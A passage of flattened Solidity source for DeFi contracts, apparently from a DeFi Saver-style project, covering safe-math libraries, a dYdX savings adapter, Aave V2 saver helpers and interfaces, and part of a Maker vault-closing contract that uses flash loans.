(Exp memory) { return Exp({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(uint a, uint b) pure internal returns (uint) { return sub_(a, b, "subtraction underflow"); } function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b <= a, errorMessage); return a - b; } function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale}); } function mul_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Exp memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / expScale; } function mul_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale}); } function mul_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Double memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / doubleScale; } function mul_(uint a, uint b) pure internal returns (uint) { return mul_(a, b, "multiplication overflow"); } function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { if (a == 0 || b == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)}); } function div_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Exp memory b) pure internal returns (uint) { return div_(mul_(a, expScale), b.mantissa); } function div_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)}); } function div_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Double memory b) pure internal returns (uint) { return div_(mul_(a, doubleScale), b.mantissa); } function div_(uint a, uint b) pure internal returns (uint) { return div_(a, b, "divide by zero"); } function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b > 0, errorMessage); return a / b; } function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(uint a, uint b) pure internal returns (uint) { return add_(a, b, "addition overflow"); } function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } } pragma solidity ^0.6.0; contract CarefulMath { /** * @dev Possible error codes that we can return */ enum MathError { NO_ERROR, DIVISION_BY_ZERO, INTEGER_OVERFLOW, INTEGER_UNDERFLOW } /** * @dev Multiplies two numbers, returns an error on overflow. */ function mulUInt(uint a, uint b) internal pure returns (MathError, uint) { if (a == 0) { return (MathError.NO_ERROR, 0); } uint c = a * b; if (c / a != b) { return (MathError.INTEGER_OVERFLOW, 0); } else { return (MathError.NO_ERROR, c); } } /** * @dev Integer division of two numbers, truncating the quotient. */ function divUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b == 0) { return (MathError.DIVISION_BY_ZERO, 0); } return (MathError.NO_ERROR, a / b); } /** * @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend). */ function subUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b <= a) { return (MathError.NO_ERROR, a - b); } else { return (MathError.INTEGER_UNDERFLOW, 0); } } /** * @dev Adds two numbers, returns an error on overflow. */ function addUInt(uint a, uint b) internal pure returns (MathError, uint) { uint c = a + b; if (c >= a) { return (MathError.NO_ERROR, c); } else { return (MathError.INTEGER_OVERFLOW, 0); } } /** * @dev add a and b and then subtract c */ function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) { (MathError err0, uint sum) = addUInt(a, b); if (err0 != MathError.NO_ERROR) { return (err0, 0); } return subUInt(sum, c); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../ProtocolInterface.sol"; import "./ISoloMargin.sol"; import "../../interfaces/ERC20.sol"; import "../../DS/DSAuth.sol"; contract DydxSavingsProtocol is ProtocolInterface, DSAuth { address public constant SOLO_MARGIN_ADDRESS = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e; ISoloMargin public soloMargin; address public savingsProxy; uint daiMarketId = 3; constructor() public { soloMargin = ISoloMargin(SOLO_MARGIN_ADDRESS); } function addSavingsProxy(address _savingsProxy) public auth { savingsProxy = _savingsProxy; } function deposit(address _user, uint _amount) public override { require(msg.sender == _user); Account.Info[] memory accounts = new Account.Info[](1); accounts[0] = getAccount(_user, 0); Actions.ActionArgs[] memory actions = new Actions.ActionArgs[](1); Types.AssetAmount memory amount = Types.AssetAmount({ sign: true, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: _amount }); actions[0] = Actions.ActionArgs({ actionType: Actions.ActionType.Deposit, accountId: 0, amount: amount, primaryMarketId: daiMarketId, otherAddress: _user, secondaryMarketId: 0, //not used otherAccountId: 0, //not used data: "" //not used }); soloMargin.operate(accounts, actions); } function withdraw(address _user, uint _amount) public override { require(msg.sender == _user); Account.Info[] memory accounts = new Account.Info[](1); accounts[0] = getAccount(_user, 0); Actions.ActionArgs[] memory actions = new Actions.ActionArgs[](1); Types.AssetAmount memory amount = Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: _amount }); actions[0] = Actions.ActionArgs({ actionType: Actions.ActionType.Withdraw, accountId: 0, amount: amount, primaryMarketId: daiMarketId, otherAddress: _user, secondaryMarketId: 0, //not used otherAccountId: 0, //not used data: "" //not used }); soloMargin.operate(accounts, actions); } function getWeiBalance(address _user, uint _index) public view returns(Types.Wei memory) { Types.Wei[] memory weiBalances; (,,weiBalances) = soloMargin.getAccountBalances(getAccount(_user, _index)); return weiBalances[daiMarketId]; } function getParBalance(address _user, uint _index) public view returns(Types.Par memory) { Types.Par[] memory parBalances; (,parBalances,) = soloMargin.getAccountBalances(getAccount(_user, _index)); return parBalances[daiMarketId]; } function getAccount(address _user, uint _index) public pure returns(Account.Info memory) { Account.Info memory account = Account.Info({ owner: _user, number: _index }); return account; } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../savings/dydx/ISoloMargin.sol"; import "../../utils/SafeERC20.sol"; import "../../interfaces/TokenInterface.sol"; import "../../DS/DSProxy.sol"; import "../AaveHelperV2.sol"; import "../../auth/AdminAuth.sol"; import "../../exchangeV3/DFSExchangeData.sol"; /// @title Import Aave position from account to wallet contract AaveSaverReceiverV2 is AaveHelperV2, AdminAuth, DFSExchangeData { using SafeERC20 for ERC20; address public constant AAVE_SAVER_PROXY = 0xBBCD23145Ab10C369c9e5D3b1D58506B0cD2ab44; address public constant AAVE_BASIC_PROXY = 0xc17c8eB12Ba24D62E69fd57cbd504EEf418867f9; address public constant AETH_ADDRESS = 0x030bA81f1c18d280636F32af80b9AAd02Cf0854e; function callFunction( address sender, Account.Info memory account, bytes memory data ) public { ( bytes memory exchangeDataBytes, address market, uint256 rateMode, uint256 gasCost, bool isRepay, uint256 ethAmount, uint256 txValue, address user, address proxy ) = abi.decode(data, (bytes,address,uint256,uint256,bool,uint256,uint256,address,address)); // withdraw eth TokenInterface(WETH_ADDRESS).withdraw(ethAmount); // deposit eth on behalf of proxy DSProxy(payable(proxy)).execute{value: ethAmount}(AAVE_BASIC_PROXY, abi.encodeWithSignature("deposit(address,address,uint256)", market, ETH_ADDR, ethAmount)); bytes memory functionData = packFunctionCall(market, exchangeDataBytes, rateMode, gasCost, isRepay); DSProxy(payable(proxy)).execute{value: txValue}(AAVE_SAVER_PROXY, functionData); // withdraw deposited eth DSProxy(payable(proxy)).execute(AAVE_BASIC_PROXY, abi.encodeWithSignature("withdraw(address,address,uint256)", market, ETH_ADDR, ethAmount)); // deposit eth, get weth and return to sender TokenInterface(WETH_ADDRESS).deposit.value(address(this).balance)(); ERC20(WETH_ADDRESS).safeTransfer(proxy, ethAmount+2); } function packFunctionCall(address _market, bytes memory _exchangeDataBytes, uint256 _rateMode, uint256 _gasCost, bool _isRepay) internal returns (bytes memory) { ExchangeData memory exData = unpackExchangeData(_exchangeDataBytes); bytes memory functionData; if (_isRepay) { functionData = abi.encodeWithSignature("repay(address,(address,address,uint256,uint256,uint256,uint256,address,address,bytes,(address,address,address,uint256,uint256,bytes)),uint256,uint256)", _market, exData, _rateMode, _gasCost); } else { functionData = abi.encodeWithSignature("boost(address,(address,address,uint256,uint256,uint256,uint256,address,address,bytes,(address,address,address,uint256,uint256,bytes)),uint256,uint256)", _market, exData, _rateMode, _gasCost); } return functionData; } /// @dev if contract receive eth, convert it to WETH receive() external payable { // deposit eth and get weth if (msg.sender == owner) { TokenInterface(WETH_ADDRESS).deposit.value(address(this).balance)(); } } } pragma solidity ^0.6.0; import "../DS/DSMath.sol"; import "../DS/DSProxy.sol"; import "../utils/Discount.sol"; import "../interfaces/IFeeRecipient.sol"; import "../interfaces/IAToken.sol"; import "../interfaces/ILendingPoolV2.sol"; import "../interfaces/IPriceOracleGetterAave.sol"; import "../interfaces/IAaveProtocolDataProviderV2.sol"; import "../utils/SafeERC20.sol"; import "../utils/BotRegistry.sol"; contract AaveHelperV2 is DSMath { using SafeERC20 for ERC20; IFeeRecipient public constant feeRecipient = IFeeRecipient(0x39C4a92Dc506300c3Ea4c67ca4CA611102ee6F2A); address public constant DISCOUNT_ADDR = 0x1b14E8D511c9A4395425314f849bD737BAF8208F; address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // mainnet uint public constant MANUAL_SERVICE_FEE = 400; // 0.25% Fee uint public constant AUTOMATIC_SERVICE_FEE = 333; // 0.3% Fee address public constant BOT_REGISTRY_ADDRESS = 0x637726f8b08a7ABE3aE3aCaB01A80E2d8ddeF77B; address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; uint public constant NINETY_NINE_PERCENT_WEI = 990000000000000000; uint16 public constant AAVE_REFERRAL_CODE = 64; uint public constant STABLE_ID = 1; uint public constant VARIABLE_ID = 2; /// @notice Calculates the gas cost for transaction /// @param _oracleAddress address of oracle used /// @param _amount Amount that is converted /// @param _user Actuall user addr not DSProxy /// @param _gasCost Ether amount of gas we are spending for tx /// @param _tokenAddr token addr. of token we are getting for the fee /// @return gasCost The amount we took for the gas cost function getGasCost(address _oracleAddress, uint _amount, address _user, uint _gasCost, address _tokenAddr) internal returns (uint gasCost) { if (_gasCost == 0) return 0; uint256 price = IPriceOracleGetterAave(_oracleAddress).getAssetPrice(_tokenAddr); _gasCost = wdiv(_gasCost, price) / (10 ** (18 - _getDecimals(_tokenAddr))); gasCost = _gasCost; // gas cost can't go over 10% of the whole amount if (gasCost > (_amount / 10)) { gasCost = _amount / 10; } address walletAddr = feeRecipient.getFeeAddr(); if (_tokenAddr == ETH_ADDR) { payable(walletAddr).transfer(gasCost); } else { ERC20(_tokenAddr).safeTransfer(walletAddr, gasCost); } } /// @notice Returns the owner of the DSProxy that called the contract function getUserAddress() internal view returns (address) { DSProxy proxy = DSProxy(payable(address(this))); return proxy.owner(); } /// @notice Approves token contract to pull underlying tokens from the DSProxy /// @param _tokenAddr Token we are trying to approve /// @param _caller Address which will gain the approval function approveToken(address _tokenAddr, address _caller) internal { if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeApprove(_caller, uint256(-1)); } } /// @notice Send specific amount from contract to specific user /// @param _token Token we are trying to send /// @param _user User that should receive funds /// @param _amount Amount that should be sent function sendContractBalance(address _token, address _user, uint _amount) internal { if (_amount == 0) return; if (_token == ETH_ADDR) { payable(_user).transfer(_amount); } else { ERC20(_token).safeTransfer(_user, _amount); } } function sendFullContractBalance(address _token, address _user) internal { if (_token == ETH_ADDR) { sendContractBalance(_token, _user, address(this).balance); } else { sendContractBalance(_token, _user, ERC20(_token).balanceOf(address(this))); } } function _getDecimals(address _token) internal view returns (uint256) { if (_token == ETH_ADDR) return 18; return ERC20(_token).decimals(); } function getDataProvider(address _market) internal view returns(IAaveProtocolDataProviderV2) { return IAaveProtocolDataProviderV2(ILendingPoolAddressesProviderV2(_market).getAddress(0x0100000000000000000000000000000000000000000000000000000000000000)); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; /** * @title LendingPoolAddressesProvider contract * @dev Main registry of addresses part of or connected to the protocol, including permissioned roles * - Acting also as factory of proxies and admin of those, so with right to change its implementations * - Owned by the Aave Governance * @author Aave **/ interface ILendingPoolAddressesProviderV2 { event LendingPoolUpdated(address indexed newAddress); event ConfigurationAdminUpdated(address indexed newAddress); event EmergencyAdminUpdated(address indexed newAddress); event LendingPoolConfiguratorUpdated(address indexed newAddress); event LendingPoolCollateralManagerUpdated(address indexed newAddress); event PriceOracleUpdated(address indexed newAddress); event LendingRateOracleUpdated(address indexed newAddress); event ProxyCreated(bytes32 id, address indexed newAddress); event AddressSet(bytes32 id, address indexed newAddress, bool hasProxy); function setAddress(bytes32 id, address newAddress) external; function setAddressAsProxy(bytes32 id, address impl) external; function getAddress(bytes32 id) external view returns (address); function getLendingPool() external view returns (address); function setLendingPoolImpl(address pool) external; function getLendingPoolConfigurator() external view returns (address); function setLendingPoolConfiguratorImpl(address configurator) external; function getLendingPoolCollateralManager() external view returns (address); function setLendingPoolCollateralManager(address manager) external; function getPoolAdmin() external view returns (address); function setPoolAdmin(address admin) external; function getEmergencyAdmin() external view returns (address); function setEmergencyAdmin(address admin) external; function getPriceOracle() external view returns (address); function setPriceOracle(address priceOracle) external; function getLendingRateOracle() external view returns (address); function setLendingRateOracle(address lendingRateOracle) external; } library DataTypes { // refer to the whitepaper, section 1.1 basic concepts for a formal description of these properties. struct ReserveData { //stores the reserve configuration ReserveConfigurationMap configuration; //the liquidity index. Expressed in ray uint128 liquidityIndex; //variable borrow index. Expressed in ray uint128 variableBorrowIndex; //the current supply rate. Expressed in ray uint128 currentLiquidityRate; //the current variable borrow rate. Expressed in ray uint128 currentVariableBorrowRate; //the current stable borrow rate. Expressed in ray uint128 currentStableBorrowRate; uint40 lastUpdateTimestamp; //tokens addresses address aTokenAddress; address stableDebtTokenAddress; address variableDebtTokenAddress; //address of the interest rate strategy address interestRateStrategyAddress; //the id of the reserve. Represents the position in the list of the active reserves uint8 id; } struct ReserveConfigurationMap { //bit 0-15: LTV //bit 16-31: Liq. threshold //bit 32-47: Liq. bonus //bit 48-55: Decimals //bit 56: Reserve is active //bit 57: reserve is frozen //bit 58: borrowing is enabled //bit 59: stable rate borrowing enabled //bit 60-63: reserved //bit 64-79: reserve factor uint256 data; } struct UserConfigurationMap { uint256 data; } enum InterestRateMode {NONE, STABLE, VARIABLE} } interface ILendingPoolV2 { /** * @dev Emitted on deposit() * @param reserve The address of the underlying asset of the reserve * @param user The address initiating the deposit * @param onBehalfOf The beneficiary of the deposit, receiving the aTokens * @param amount The amount deposited * @param referral The referral code used **/ event Deposit( address indexed reserve, address user, address indexed onBehalfOf, uint256 amount, uint16 indexed referral ); /** * @dev Emitted on withdraw() * @param reserve The address of the underlyng asset being withdrawn * @param user The address initiating the withdrawal, owner of aTokens * @param to Address that will receive the underlying * @param amount The amount to be withdrawn **/ event Withdraw(address indexed reserve, address indexed user, address indexed to, uint256 amount); /** * @dev Emitted on borrow() and flashLoan() when debt needs to be opened * @param reserve The address of the underlying asset being borrowed * @param user The address of the user initiating the borrow(), receiving the funds on borrow() or just * initiator of the transaction on flashLoan() * @param onBehalfOf The address that will be getting the debt * @param amount The amount borrowed out * @param borrowRateMode The rate mode: 1 for Stable, 2 for Variable * @param borrowRate The numeric rate at which the user has borrowed * @param referral The referral code used **/ event Borrow( address indexed reserve, address user, address indexed onBehalfOf, uint256 amount, uint256 borrowRateMode, uint256 borrowRate, uint16 indexed referral ); /** * @dev Emitted on repay() * @param reserve The address of the underlying asset of the reserve * @param user The beneficiary of the repayment, getting his debt reduced * @param repayer The address of the user initiating the repay(), providing the funds * @param amount The amount repaid **/ event Repay( address indexed reserve, address indexed user, address indexed repayer, uint256 amount ); /** * @dev Emitted on swapBorrowRateMode() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user swapping his rate mode * @param rateMode The rate mode that the user wants to swap to **/ event Swap(address indexed reserve, address indexed user, uint256 rateMode); /** * @dev Emitted on setUserUseReserveAsCollateral() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user enabling the usage as collateral **/ event ReserveUsedAsCollateralEnabled(address indexed reserve, address indexed user); /** * @dev Emitted on setUserUseReserveAsCollateral() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user enabling the usage as collateral **/ event ReserveUsedAsCollateralDisabled(address indexed reserve, address indexed user); /** * @dev Emitted on rebalanceStableBorrowRate() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user for which the rebalance has been executed **/ event RebalanceStableBorrowRate(address indexed reserve, address indexed user); /** * @dev Emitted on flashLoan() * @param target The address of the flash loan receiver contract * @param initiator The address initiating the flash loan * @param asset The address of the asset being flash borrowed * @param amount The amount flash borrowed * @param premium The fee flash borrowed * @param referralCode The referral code used **/ event FlashLoan( address indexed target, address indexed initiator, address indexed asset, uint256 amount, uint256 premium, uint16 referralCode ); /** * @dev Emitted when the pause is triggered. */ event Paused(); /** * @dev Emitted when the pause is lifted. */ event Unpaused(); /** * @dev Emitted when a borrower is liquidated. This event is emitted by the LendingPool via * LendingPoolCollateral manager using a DELEGATECALL * This allows to have the events in the generated ABI for LendingPool. * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation * @param user The address of the borrower getting liquidated * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover * @param liquidatedCollateralAmount The amount of collateral received by the liiquidator * @param liquidator The address of the liquidator * @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants * to receive the underlying collateral asset directly **/ event LiquidationCall( address indexed collateralAsset, address indexed debtAsset, address indexed user, uint256 debtToCover, uint256 liquidatedCollateralAmount, address liquidator, bool receiveAToken ); /** * @dev Emitted when the state of a reserve is updated. NOTE: This event is actually declared * in the ReserveLogic library and emitted in the updateInterestRates() function. Since the function is internal, * the event will actually be fired by the LendingPool contract. The event is therefore replicated here so it * gets added to the LendingPool ABI * @param reserve The address of the underlying asset of the reserve * @param liquidityRate The new liquidity rate * @param stableBorrowRate The new stable borrow rate * @param variableBorrowRate The new variable borrow rate * @param liquidityIndex The new liquidity index * @param variableBorrowIndex The new variable borrow index **/ event ReserveDataUpdated( address indexed reserve, uint256 liquidityRate, uint256 stableBorrowRate, uint256 variableBorrowRate, uint256 liquidityIndex, uint256 variableBorrowIndex ); /** * @dev Deposits an `amount` of underlying asset into the reserve, receiving in return overlying aTokens. * - E.g. User deposits 100 USDC and gets in return 100 aUSDC * @param asset The address of the underlying asset to deposit * @param amount The amount to be deposited * @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user * wants to receive them on his own wallet, or a different address if the beneficiary of aTokens * is a different wallet * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function deposit( address asset, uint256 amount, address onBehalfOf, uint16 referralCode ) external; /** * @dev Withdraws an `amount` of underlying asset from the reserve, burning the equivalent aTokens owned * E.g. User has 100 aUSDC, calls withdraw() and receives 100 USDC, burning the 100 aUSDC * @param asset The address of the underlying asset to withdraw * @param amount The underlying amount to be withdrawn * - Send the value type(uint256).max in order to withdraw the whole aToken balance * @param to Address that will receive the underlying, same as msg.sender if the user * wants to receive it on his own wallet, or a different address if the beneficiary is a * different wallet **/ function withdraw( address asset, uint256 amount, address to ) external; /** * @dev Allows users to borrow a specific `amount` of the reserve underlying asset, provided that the borrower * already deposited enough collateral, or he was given enough allowance by a credit delegator on the * corresponding debt token (StableDebtToken or VariableDebtToken) * - E.g. User borrows 100 USDC passing as `onBehalfOf` his own address, receiving the 100 USDC in his wallet * and 100 stable/variable debt tokens, depending on the `interestRateMode` * @param asset The address of the underlying asset to borrow * @param amount The amount to be borrowed * @param interestRateMode The interest rate mode at which the user wants to borrow: 1 for Stable, 2 for Variable * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man * @param onBehalfOf Address of the user who will receive the debt. Should be the address of the borrower itself * calling the function if he wants to borrow against his own collateral, or the address of the credit delegator * if he has been given credit delegation allowance **/ function borrow( address asset, uint256 amount, uint256 interestRateMode, uint16 referralCode, address onBehalfOf ) external; /** * @notice Repays a borrowed `amount` on a specific reserve, burning the equivalent debt tokens owned * - E.g. User repays 100 USDC, burning 100 variable/stable debt tokens of the `onBehalfOf` address * @param asset The address of the borrowed underlying asset previously borrowed * @param amount The amount to repay * - Send the value type(uint256).max in order to repay the whole debt for `asset` on the specific `debtMode` * @param rateMode The interest rate mode at of the debt the user wants to repay: 1 for Stable, 2 for Variable * @param onBehalfOf Address of the user who will get his debt reduced/removed. Should be the address of the * user calling the function if he wants to reduce/remove his own debt, or the address of any other * other borrower whose debt should be removed **/ function repay( address asset, uint256 amount, uint256 rateMode, address onBehalfOf ) external; /** * @dev Allows a borrower to swap his debt between stable and variable mode, or viceversa * @param asset The address of the underlying asset borrowed * @param rateMode The rate mode that the user wants to swap to **/ function swapBorrowRateMode(address asset, uint256 rateMode) external; /** * @dev Rebalances the stable interest rate of a user to the current stable rate defined on the reserve. * - Users can be rebalanced if the following conditions are satisfied: * 1. Usage ratio is above 95% * 2. the current deposit APY is below REBALANCE_UP_THRESHOLD * maxVariableBorrowRate, which means that too much has been * borrowed at a stable rate and depositors are not earning enough * @param asset The address of the underlying asset borrowed * @param user The address of the user to be rebalanced **/ function rebalanceStableBorrowRate(address asset, address user) external; /** * @dev Allows depositors to enable/disable a specific deposited asset as collateral * @param asset The address of the underlying asset deposited * @param useAsCollateral `true` if the user wants to use the deposit as collateral, `false` otherwise **/ function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external; /** * @dev Function to liquidate a non-healthy position collateral-wise, with Health Factor below 1 * - The caller (liquidator) covers `debtToCover` amount of debt of the user getting liquidated, and receives * a proportionally amount of the `collateralAsset` plus a bonus to cover market risk * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation * @param user The address of the borrower getting liquidated * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover * @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants * to receive the underlying collateral asset directly **/ function liquidationCall( address collateralAsset, address debtAsset, address user, uint256 debtToCover, bool receiveAToken ) external; /** * @dev Allows smartcontracts to access the liquidity of the pool within one transaction, * as long as the amount taken plus a fee is returned. * IMPORTANT There are security concerns for developers of flashloan receiver contracts that must be kept into consideration. * For further details please visit https://developers.aave.com * @param receiverAddress The address of the contract receiving the funds, implementing the IFlashLoanReceiver interface * @param assets The addresses of the assets being flash-borrowed * @param amounts The amounts amounts being flash-borrowed * @param modes Types of the debt to open if the flash loan is not returned: * 0 -> Don't open any debt, just revert if funds can't be transferred from the receiver * 1 -> Open debt at stable rate for the value of the amount flash-borrowed to the `onBehalfOf` address * 2 -> Open debt at variable rate for the value of the amount flash-borrowed to the `onBehalfOf` address * @param onBehalfOf The address that will receive the debt in the case of using on `modes` 1 or 2 * @param params Variadic packed params to pass to the receiver as extra information * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function flashLoan( address receiverAddress, address[] calldata assets, uint256[] calldata amounts, uint256[] calldata modes, address onBehalfOf, bytes calldata params, uint16 referralCode ) external; /** * @dev Returns the user account data across all the reserves * @param user The address of the user * @return totalCollateralETH the total collateral in ETH of the user * @return totalDebtETH the total debt in ETH of the user * @return availableBorrowsETH the borrowing power left of the user * @return currentLiquidationThreshold the liquidation threshold of the user * @return ltv the loan to value of the user * @return healthFactor the current health factor of the user **/ function getUserAccountData(address user) external view returns ( uint256 totalCollateralETH, uint256 totalDebtETH, uint256 availableBorrowsETH, uint256 currentLiquidationThreshold, uint256 ltv, uint256 healthFactor ); function initReserve( address reserve, address aTokenAddress, address stableDebtAddress, address variableDebtAddress, address interestRateStrategyAddress ) external; function setReserveInterestRateStrategyAddress(address reserve, address rateStrategyAddress) external; function setConfiguration(address reserve, uint256 configuration) external; /** * @dev Returns the configuration of the reserve * @param asset The address of the underlying asset of the reserve * @return The configuration of the reserve **/ function getConfiguration(address asset) external view returns (DataTypes.ReserveConfigurationMap memory); /** * @dev Returns the configuration of the user across all the reserves * @param user The user address * @return The configuration of the user **/ function getUserConfiguration(address user) external view returns (DataTypes.UserConfigurationMap memory); /** * @dev Returns the normalized income normalized income of the reserve * @param asset The address of the underlying asset of the reserve * @return The reserve's normalized income */ function getReserveNormalizedIncome(address asset) external view returns (uint256); /** * @dev Returns the normalized variable debt per unit of asset * @param asset The address of the underlying asset of the reserve * @return The reserve normalized variable debt */ function getReserveNormalizedVariableDebt(address asset) external view returns (uint256); /** * @dev Returns the state and configuration of the reserve * @param asset The address of the underlying asset of the reserve * @return The state of the reserve **/ function getReserveData(address asset) external view returns (DataTypes.ReserveData memory); function finalizeTransfer( address asset, address from, address to, uint256 amount, uint256 balanceFromAfter, uint256 balanceToBefore ) external; function getReservesList() external view returns (address[] memory); function getAddressesProvider() external view returns (ILendingPoolAddressesProviderV2); function setPause(bool val) external; function paused() external view returns (bool); } pragma solidity ^0.6.0; /************ @title IPriceOracleGetterAave interface @notice Interface for the Aave price oracle.*/ abstract contract IPriceOracleGetterAave { function getAssetPrice(address _asset) external virtual view returns (uint256); function getAssetsPrices(address[] calldata _assets) external virtual view returns(uint256[] memory); function getSourceOfAsset(address _asset) external virtual view returns(address); function getFallbackOracle() external virtual view returns(address); } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.6.8; pragma experimental ABIEncoderV2; abstract contract IAaveProtocolDataProviderV2 { struct TokenData { string symbol; address tokenAddress; } function getAllReservesTokens() external virtual view returns (TokenData[] memory); function getAllATokens() external virtual view returns (TokenData[] memory); function getReserveConfigurationData(address asset) external virtual view returns ( uint256 decimals, uint256 ltv, uint256 liquidationThreshold, uint256 liquidationBonus, uint256 reserveFactor, bool usageAsCollateralEnabled, bool borrowingEnabled, bool stableBorrowRateEnabled, bool isActive, bool isFrozen ); function getReserveData(address asset) external virtual view returns ( uint256 availableLiquidity, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 liquidityRate, uint256 variableBorrowRate, uint256 stableBorrowRate, uint256 averageStableBorrowRate, uint256 liquidityIndex, uint256 variableBorrowIndex, uint40 lastUpdateTimestamp ); function getUserReserveData(address asset, address user) external virtual view returns ( uint256 currentATokenBalance, uint256 currentStableDebt, uint256 currentVariableDebt, uint256 principalStableDebt, uint256 scaledVariableDebt, uint256 stableBorrowRate, uint256 liquidityRate, uint40 stableRateLastUpdated, bool usageAsCollateralEnabled ); function getReserveTokensAddresses(address asset) external virtual view returns ( address aTokenAddress, address stableDebtTokenAddress, address variableDebtTokenAddress ); } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../mcd/saver/MCDSaverProxy.sol"; import "../../loggers/DefisaverLogger.sol"; import "../../interfaces/ILendingPool.sol"; import "../../exchangeV3/DFSExchangeData.sol"; import "../../utils/GasBurner.sol"; abstract contract IMCDSubscriptions { function unsubscribe(uint256 _cdpId) external virtual ; function subscribersPos(uint256 _cdpId) external virtual returns (uint256, bool); } contract MCDCloseTaker is MCDSaverProxyHelper, GasBurner { address public constant SUBSCRIPTION_ADDRESS_NEW = 0xC45d4f6B6bf41b6EdAA58B01c4298B8d9078269a; address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119); address public constant SPOTTER_ADDRESS = 0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3; address public constant VAT_ADDRESS = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B; address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; // solhint-disable-next-line const-name-snakecase DefisaverLogger public constant logger = DefisaverLogger(DEFISAVER_LOGGER); struct CloseData { uint cdpId; address joinAddr; uint collAmount; uint daiAmount; uint minAccepted; bool wholeDebt; bool toDai; ManagerType managerType; } Vat public constant vat = Vat(VAT_ADDRESS); Spotter public constant spotter = Spotter(SPOTTER_ADDRESS); function closeWithLoan( DFSExchangeData.ExchangeData memory _exchangeData, CloseData memory _closeData, address payable mcdCloseFlashLoan ) public payable burnGas(20) { mcdCloseFlashLoan.transfer(msg.value); // 0x fee address managerAddr = getManagerAddr(_closeData.managerType); if (_closeData.wholeDebt) { _closeData.daiAmount = getAllDebt( VAT_ADDRESS, Manager(managerAddr).urns(_closeData.cdpId), Manager(managerAddr).urns(_closeData.cdpId), Manager(managerAddr).ilks(_closeData.cdpId) ); (_closeData.collAmount, ) = getCdpInfo(Manager(managerAddr), _closeData.cdpId, Manager(managerAddr).ilks(_closeData.cdpId)); } Manager(managerAddr).cdpAllow(_closeData.cdpId, mcdCloseFlashLoan, 1); bytes memory packedData = _packData(_closeData, _exchangeData); bytes memory paramsData = abi.encode(address(this), packedData); lendingPool.flashLoan(mcdCloseFlashLoan, DAI_ADDRESS, _closeData.daiAmount, paramsData); Manager(managerAddr).cdpAllow(_closeData.cdpId, mcdCloseFlashLoan, 0); // If sub. to automatic protection unsubscribe unsubscribe(SUBSCRIPTION_ADDRESS_NEW, 